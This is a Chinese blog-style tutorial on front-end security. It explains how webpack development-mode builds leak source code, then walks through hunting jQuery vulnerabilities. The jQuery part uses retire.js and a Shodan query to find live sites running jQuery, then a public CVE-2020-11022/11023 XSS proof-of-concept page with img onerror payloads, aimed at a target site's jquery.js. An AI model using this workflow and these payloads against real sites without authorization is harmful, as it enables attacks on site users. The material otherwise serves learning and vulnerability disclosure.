一、 打包器webpack
1、什么是webpack
是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。当 Webpack 处理应用程序时，它会递归地构建一个依赖关系图(dependency graph)，其中包含应用程序需要的每个模块，然后将所有这些模块打包成一个或多个 bundle。
2、打包器webpack的使用
一文看懂webpack打包操作
https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA
1）下载webpack包
npm install webpack@4 webpack-cli@3 -D
2）将文件夹归类好
给两个功能性js，一个sum一个count，一个求和一个做差；main负责直接调用这两个功能
sum：
export default function sum(x,y){
return x+y;
}
count：
export default function count(x,y){
return x-y;
}
main：
import count from "./sum.js";
import sum from "./count.js" ;
console.log(count(5,2));
console.log(sum(5,2));
3）利用webpack打包
创建一个名为：webpack.config.js的文件，负责进行打包的js文件
const path= require('path'); //引入path模块
module.exports = {
entry: './src/main.js', // 入口文件配置（精简写法）
/*完整写法：
entry:{
main:'./src/js/app.js'
}
*/
output: { //输出配置
filename: './js/app.js',//输出文件名
path: path.resolve(__dirname, 'build')
//输出文件路径(绝对路径)
//__dirname表示该文件当前文件夹
},
mode: 'development' //开发环境(二选一)
//mode: 'production' //生产环境(二选一)
};
打包指令：npx webpack
发现生成了打包后的js总文件
4）将前端页面挂上打包后的js
*注意*：一定要注意路径的问题，要先建议先返回文件根目录，再使用绝对路径进行访问
5）访问首页，查看打包器的打包结果
6）进行页面数据包的查看
【开发者模式】
存在源码泄露问题，打包前的源文件都能看到。
【生产者模式】
只有打包后的app.js，未被打包的源码并没有显示出来。
3、webpack不当配置可能造成的安全问题
【1】打包模式不当，造成源码泄露
开发者模式（development） & 生产者模式（production)
开发者模式：存在源码泄露，所有源文件都存在于浏览器上。【nodejs & vue 都存在】
生产者模式：看不到核心源码逻辑，类比与nodejs的安全性。
【2】利用工具packer-fuzzer进行模糊扫描
Day14 -实例 -利用工具进行js框架的信息收集_寻路犬系统-CSDN博客
二、第三方库--Jquery
1、JQuery的作用
jQuery 是一个 快速、简洁、功能丰富 的 JavaScript 库，主要用于简化 HTML 文档遍历、事件处理、动画和 AJAX 交互。它的核心目标是 "Write Less, Do More"（写更少的代码，做更多的事情），使开发者能够更高效地操作 DOM、处理事件和执行异步请求。
2、曾经调用实例
在之前我们做登录验证的时候就用到了jquery库，进行ajax的时候，详见
3、安全性问题
不同版本jquery框架一定对应不同的payload，这个是对于框架漏洞挖掘的重要思想。
目前就jquery来说 1.0-3.5 就是漏洞高发版本范围，挖掘思路和实战也是在这个版本范围内的。
挖掘思路图解：
实操方法：
1）利用火狐插件retire.js暴力发掘漏洞，找到其编号
2）判断爆出来的漏洞的优先级
排出序后，进行最优漏洞复现，去GitHub搜索相对应的漏洞编号，查找复现结果
3）直接去搜索漏洞编号的poc即可
这里贴一个漏洞库博文：
拿到漏洞编号可以直接搜索引擎去搜搜复现poc方案。
4、实战
我们这里用shodan去找几个符合的站点，语句是
jquery-3.0.0 country:"CN"
1、暴力找jquery洞
有3个，那么我们优先去复现CVE-2020-11022，原因是优先级高，易复现。
也可以根据这个师傅的技术分析文章，写的仔细清楚，复现的同样是cve-2020-11022漏洞。
【JQuery-XSS漏洞（CVE-2020-11022/CVE-2020-11023）漏洞复现】_jquery xss-CSDN博客
如果说我们并不知道如何复现怎么办？------去GitHub，搜索cve漏洞编号，会有复现指南。
2、进入目标站点的js文件中
去找他的jquery-js文件路径，抓出来
3、将js文件的url替换到我们的脚本中
脚本：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
<!-- 测试JQuery -->
<script src="替换成目标站点的jquery.js路径"></script>
<!-- <script src="./jquery.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
<h2>PoC 1</h2>
<button οnclick="test(1)">Assign to innerHTML</button> <button οnclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x οnerrοr=alert(2)>
</xmp>
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x οnerrοr=alert("1st")>">
</xmp>
<h2>PoC 3</h2>
<button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x οnerrοr=alert("1st")></style>
</xmp>
<div id="div"></div>
</body>
</html>
4、去运行脚本，点击确定对应哪个payload
就到这里可以尝试提交漏洞了，点到即止哈哈哈。
后续攻击手法：攻击者可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫、篡改页面实施钓鱼攻击、以及诱导用户再次登录，然后获取其登录凭证等。
文章推荐：这几位师傅写的都非常好，精简易懂，给我提供了很多帮助和思路。
安服水洞系列｜01. jQuery XSS - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/360284.html 【JQuery-XSS漏洞（CVE-2020-11022/CVE-2020-11023）漏洞复现】_jquery xss-CSDN博客https://blog.csdn.net/qq_61872115/article/details/134142487